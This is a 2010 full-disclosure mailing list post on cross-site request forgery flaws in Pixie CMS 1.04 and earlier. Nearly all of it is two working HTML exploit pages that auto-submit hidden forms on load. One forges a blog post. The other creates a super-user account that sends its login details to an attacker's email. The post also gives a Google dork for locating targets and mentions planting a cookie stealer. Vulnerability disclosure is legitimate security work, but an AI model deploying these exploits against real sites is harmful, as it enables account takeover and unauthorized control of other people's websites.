full-disclosure - Multiple CSRF in Pixie <= 1.04

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Message-ID: <4D1A190E.2040408@gmail.com>
Date: Tue, 28 Dec 2010 17:06:22 +0000
From: Ali Raheem <ali.raheem@...glemail.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Multiple CSRF in Pixie <= 1.04

Pixie 1.04 suffers from CSRF where form data can be submitted by the
admin unwittingly in this example to add a blog post or Add a new user.

It was not tempted but it is possible to include a cookie stealer in the
blog post which a naive admin my view if it has a curious/innocent 
sounding name.

Here are the samples:

<html>
<!--
# Exploit Title: PiXie CMS v1.04 <= CSRF Add Post
# Google Dork: allintext: "Pixie Powered"
# Date: 28/12/2010
# Author: Ali Raheem (AKA wolfmankurd)
# Software Link: http://pixie-cms.googlecode.com/files/pixie_v1.04.zip
# Version: <=1.04
# Tested on: Linux sheevaplug-debian 2.6.32-00007-g56678ec #1 PREEMPT
Mon Feb 8 03:49:55 PST 2010 armv5tel GNU/Linux
# Note: Replace SITE_AND_PATH
Have a look at the form and set title, content, tags and Author to
whatever you want.
-->
<head></head>
<body onload='document.pwn.submit()'>
<form accept-charset="UTF-8"
action="http://SITE_AND_PATH/admin/?s=publish&amp;m=dynamic&amp;x=blog&amp;page=1"
method="post" name="pwn" id="form_addedit" class="form">
<input type="hidden"name="table_name" value="pixie_dynamic_posts"/>
<input type="hidden" class="form_text" name="post_id" value=""
maxlength="11" />
<input type="hidden" class="form_text" name="page_id" value="3"
maxlength="11" />
<input type="hidden" id="date" name="day" value="28">
<input type="hidden" name="month" value="12">
<input type="hidden" name="year" value="2010">
<input type="hidden" class="form_text" name="time" value="16:06"
size="5" maxlength="5" />
<input type="hidden" class="form_text" name="title" id="title"
value="PwnT" />
<input type="hidden" name="content" id="content" cols="50" value="PwnT
by CSRF">
<input type="hidden" class="form_text" name="tags" id="tags" value="Hack"/>
<input type="hidden" name="public" id="public" value="yes" />
<input type="hidden" type="radio" name="comments" id="comments"
value="yes" />
<input type="hidden" class="form_text" name="author" value="AUTHOR"
maxlength="64" />
<input type="hidden" class="form_text" name="last_modified"
value="20101228160628" />
<input type="hidden" class="form_text" name="post_views" value=""
maxlength="99" />
<input type="hidden" class="form_text" name="post_slug" value=""
maxlength="255" />
<input type="hidden" name="submit_new" class="submit" value="Save"
type="submit"/>
</form>
</body>
</html>


And


<html>
<!--
# Exploit Title: PiXie CMS v1.04 <= CSRF Add Super User
# Google Dork: allintext: "Pixie Powered"
# Date: 28/12/2010
# Author: Ali Raheem (AKA wolfmankurd)
# Software Link: http://pixie-cms.googlecode.com/files/pixie_v1.04.zip
# Version: <=1.04
# Tested on: Linux sheevaplug-debian 2.6.32-00007-g56678ec #1 PREEMPT
Mon Feb 8 03:49:55 PST 2010 armv5tel GNU/Linux
Note    : Repace site and path,
USERNAME no spaces,   
REALNAME with a name,
EMAIL with a valid email you get login details
-->
<head></head>
<body onload='document.pwn.submit()'>
<form accept-charset="UTF-8"
action="http://SITEANDPATH/admin/?s=settings&amp;x=users" method="post"
class="form" name="pwn">
<input type="hidden" name="uname" id="uname" value="USERNAME"/>
<!-- No Spaces!-->
<input type="hidden" name="realname" id="realname" value="REALNAME"/>
<input type="hidden" name="email" id="email" value="EMAIL"/>
<!-- needs to be Valid-->
<input type="hidden" name="user_new" value="Save"/>
<input type="hidden" name="privilege" value="2" />
</form>
</body>
</html>



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